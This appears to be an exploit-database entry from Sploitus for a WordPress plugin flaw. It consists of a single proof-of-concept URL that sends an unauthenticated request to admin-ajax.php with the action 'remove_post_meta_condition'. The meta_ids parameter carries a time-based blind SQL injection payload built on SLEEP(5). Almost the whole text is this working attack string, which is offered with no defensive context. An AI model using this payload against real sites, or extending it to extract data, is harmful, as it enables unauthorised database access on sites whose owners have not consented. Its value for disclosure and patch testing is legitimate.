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## https://sploitus.com/exploit?id=WPEX-ID:A72BF075-FD4B-4AA5-B4A4-5F62A0620643
As unauthenticated:

https://example.com/wp-admin/admin-ajax.php?meta_ids=1)%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b&action=remove_post_meta_condition